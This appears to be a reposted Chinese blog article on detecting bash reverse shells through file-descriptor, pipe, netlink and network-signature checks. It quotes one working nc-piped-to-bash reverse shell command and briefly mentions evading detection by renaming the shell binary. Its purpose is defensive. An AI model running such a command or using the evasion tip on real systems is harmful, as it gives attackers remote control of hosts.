bash反弹shell检测

摘要:
1.进程文件描述符异常检测检测文件描述符是否指向套接字。以重定向+/dev/tcpBash shell反弹攻击为例。这种shell反弹的本质可以概括为将文件描述符重定向到套接字句柄。这种反弹shell的本质可以概括为将文件描述符重定向到管道句柄。

1、进程 file descriptor 异常检测
检测 file descriptor 是否指向一个socket
以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄。
bash反弹shell检测第1张
bash反弹shell检测第2张

2、检测 file descriptor 是否指向一个管道符(pipe)
对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄。
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888

bash反弹shell检测第3张

不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否是来自一个socket。
例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。

3、netlink监控+fd异常检测
监听Netlink Socket,实时获取进程EXEC事件。
如果为Shell进程,检查进程启动打开的FD,
即当有程序打开了Socket,但是未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端,则确认为反弹Shell。
github:https://github.com/zhanghaoyil/seesaw

bash反弹shell检测第4张

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。
例如将/bin/sh重命名为其他名字进行反弹shell。

4、脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测
前面讨论的fd监控方案,其本质都是针对”通过系统bash程序实现的反弹shell“。
但是需要注意的是,操作系统是分层的,Bash只是一个应用程序的普通应用,其内部封装了调用glibc execve的功能而已,除了bash之外,我们还可以基于任意的应用层技术来实现反弹shell,
例如:
python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
C/C++实现纯代码形式的反弹shell:二进制文件检测

5、网络层反弹shell通信特征检测
反弹shell的通信会话中,会包含一些”cmdline shell特征“,例如”#root....“等,可以在网络侧进行实时检测。

免责声明:文章转载自《bash反弹shell检测》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇centos7 如何在用户级对资源进行限制JDBC原理及常见错误分析下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

VS2013快速安装教程

1、下载vs2013安装镜像。VS2013_RTM_ULT_CHS.iso链接: http://pan.baidu.com/s/1mguOdiK 密码: rllz  建议使用百度网盘客户端下载,虽然被人吐槽无数,但还是最稳定的下载方式,其它下载软件可能导致下载后不能使用的情况。2、下载完成后,是一个iso文件,如果是win8(8.1)或者安装了虚拟光驱的电...

Nginx 大文件分片上传处理

需求:项目要支持大文件上传功能,经过讨论,初步将文件上传大小控制在500M内,因此自己需要在项目中进行文件上传部分的调整和配置,自己将大小都以501M来进行限制。 第一步: 前端修改 由于项目使用的是BJUI前端框架,并没有使用框架本身的文件上传控件,而使用的基于jQuery的Uploadify文件上传组件,在项目使用的jslib项目中找到了BJUI框架集...

使用Dockerfile制作镜像

组成部分 基础镜像信息 FROM 维护者信息 MAINTAINER、LABEL 镜像操作指令 RUN、COPY、ADD、EXPOSE、WORKDIR、ONBUILD、USER等 容器启动时执行指令 CMD、ENTRYPOINT 1、MAINTAINER (docker1.7以后的版本已被LABEL替代,但仍兼容此字段) 格式: MAINTAINER &...

linux查看端口占用

今天发现服务器上mysql 3306端口起不来,老提示端口已经被占用。 使用命令: ps -aux | grep mysql 发现并没有3306端口的mysql进程。 使用命令:netstat –anp 查看所有的进程和端口使用情况。发现下面的进程列表,其中最后一栏是PID/Program name  假设我们发现3306端口被PID为1234的tomc...

shell生成随机数的几种方法

shell生成随机数的几种方法 cat random_num.sh !/bin/bash top=10 #your number toplimit number=30 #large than top; while [ "$number" -ge $top ] do number=$RANDOM done echo "$number" number2=$((...

webstorm设置新建vue文件的模板

Webstorm 添加新建文件类型 以创建 Vue 文件为例:   File—Setting—Editor—File and Code Template 分支,点击添加,依次输入 Name 和 Extension,OK 即可。如图: Webstorm 创建文件模板   Webstorm 新建文件过程中现在文件头部加入创建时间,作者信息,项目名称,需要用到...